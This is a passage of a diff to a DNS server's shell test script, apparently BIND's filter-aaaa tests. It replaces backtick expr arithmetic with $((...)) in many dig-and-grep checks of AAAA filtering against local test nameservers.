 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.2 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed and qtype=ANY with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
@@ -295,9 +299,9 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns4.test$n > /dev/null || ret=1
 grep "::3" dig.out.ns4.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned and qtype=ANY with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
@@ -305,9 +309,9 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns4.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns4.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed, qtype=ANY and DO is set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed +dnssec -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
@@ -315,9 +319,9 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns4.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns4.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned, qtype=ANY and DO is set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned +dnssec -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
@@ -325,9 +329,9 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns4.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns4.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, qtype=ANY and query source does not match acl with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b 10.53.0.2 @10.53.0.4 > dig.out.ns4.test$n || ret=1
@@ -335,9 +339,9 @@ grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep 1.0.0.6 dig.out.ns4.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A record exists, unsigned over IPv6 with break-dnssec ($n)"
 if testsock6 fd92:7065:b8e:ffff::4
 then
@@ -345,37 +349,37 @@ ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep 2001:db8::6 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 else
 echo_i "skipped."
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=NS, with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add ns unsigned -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep AAAA dig.out.ns4.test$n > /dev/null 2>&1 && ret=1
 grep "ADDITIONAL: 2" dig.out.ns4.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, unsigned, with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns4.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, signed, with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx signed -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "^mx.signed.*AAAA" dig.out.ns4.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, unsigned, over IPv6, with break-dnssec ($n)"
 if testsock6 fd92:7065:b8e:ffff::4
 then
@@ -383,7 +387,7 @@ ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b fd92:7065:b8e:ffff::4 @fd92:7065:b8e:ffff::4 > dig.out.ns4.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns4.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 else
 echo_i "skipped."
 fi
@@ -394,24 +398,24 @@ fi
 #	filter-aaaa-on-v4 yes;
 #	filter-aaaa { 10.53.0.2; };
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, signed, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.signed -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 grep ::2 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, unsigned, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.unsigned -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep ::5 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
@@ -419,9 +423,9 @@ grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
@@ -429,18 +433,18 @@ grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist, signed and DO set, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed +dnssec -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned and DO set, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned +dnssec -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
@@ -448,18 +452,18 @@ grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist and query source does not match acl, recursive ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.1 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed and qtype=ANY recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
@@ -467,9 +471,9 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns2.test$n > /dev/null || ret=1
 grep "::3" dig.out.ns2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned and qtype=ANY recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
@@ -477,9 +481,9 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns2.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, signed, qtype=ANY and DO is set, recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed +dnssec -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
@@ -488,9 +492,9 @@ grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns2.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned, qtype=ANY and DO is set, recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned +dnssec -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
@@ -498,9 +502,9 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns2.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, qtype=ANY and query source does not match acl, recursive ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b 10.53.0.1 @10.53.0.2 > dig.out.ns2.test$n || ret=1
@@ -508,9 +512,9 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep 1.0.0.6 dig.out.ns2.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A record exists, unsigned over IPv6, recursive ($n)"
 if testsock6 fd92:7065:b8e:ffff::2
 then
@@ -518,29 +522,29 @@ ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
 grep 2001:db8::6 dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 else
 echo_i "skipped."
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=NS ($n)"
 ret=0
 $DIG $DIGOPTS +add ns unsigned -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep AAAA dig.out.ns2.test$n > /dev/null 2>&1 && ret=1
 grep "ADDITIONAL: 2" dig.out.ns2.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, unsigned, recursive ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns2.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, signed, recursive ($n)"
 ret=0
 # we need to prime the cache with addresses for the MX, since additional
@@ -552,9 +556,9 @@ $DIG $DIGOPTS +add +dnssec mx signed -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$
 grep "^mx.signed.*AAAA" dig.out.ns2.test$n > /dev/null 2>&1 || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, unsigned, recursive, over IPv6 ($n)"
 if testsock6 fd92:7065:b8e:ffff::2
 then
@@ -562,7 +566,7 @@ ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b fd92:7065:b8e:ffff::2 @fd92:7065:b8e:ffff::2 > dig.out.ns2.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns2.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 else
 echo_i "skipped."
 fi
@@ -572,24 +576,24 @@ fi
 #	filter-aaaa-on-v4 break-dnssec;
 #	filter-aaaa { 10.53.0.3; };
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, signed, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.signed -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null || ret=1
 grep ::2 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, unsigned, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.unsigned -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep ::5 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
@@ -597,9 +601,9 @@ grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
@@ -607,18 +611,18 @@ grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed and DO set, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed +dnssec -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned and DO set, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned +dnssec -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
@@ -626,18 +630,18 @@ grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist and query source does not match acl, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.1 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed and qtype=ANY with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
@@ -645,9 +649,9 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns3.test$n > /dev/null || ret=1
 grep "::3" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned and qtype=ANY with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
@@ -655,9 +659,9 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns3.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed, qtype=ANY and DO is set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed +dnssec -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
@@ -665,9 +669,9 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns3.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned, qtype=ANY and DO is set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned +dnssec -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
@@ -675,9 +679,9 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns3.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, qtype=ANY and query source does not match acl, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b 10.53.0.1 @10.53.0.3 > dig.out.ns3.test$n || ret=1
@@ -685,9 +689,9 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep 1.0.0.6 dig.out.ns3.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A record exists, unsigned over IPv6, recursive with break-dnssec ($n)"
 if testsock6 fd92:7065:b8e:ffff::3
 then
@@ -695,38 +699,38 @@ ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
 grep 2001:db8::6 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 else
 echo_i "skipped."
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=NS, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add ns unsigned -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep AAAA dig.out.ns3.test$n > /dev/null 2>&1 && ret=1
 grep "ADDITIONAL: 2" dig.out.ns3.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, unsigned, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns3.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, signed, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx signed -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep "^mx.signed.*AAAA" dig.out.ns3.test$n > /dev/null 2>&1 && ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, unsigned, over IPv6, recursive with break-dnssec ($n)"
 if testsock6 fd92:7065:b8e:ffff::3
 then
@@ -734,7 +738,7 @@ ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns3.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 else
 echo_i "skipped."
 fi
@@ -764,67 +768,67 @@ rndc_reconfig ns4 10.53.0.4
 #	filter-aaaa-on-v6 yes;
 #	filter-aaaa { fd92:7065:b8e:ffff::1; };
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, signed ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.signed -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep ::2 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, unsigned ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep ::5 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns1.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns1.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist, signed and DO set ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed +dnssec -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep ::3 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned and DO set ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1 > dig.out.ns1.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns1.test$n > /dev/null || ret=1
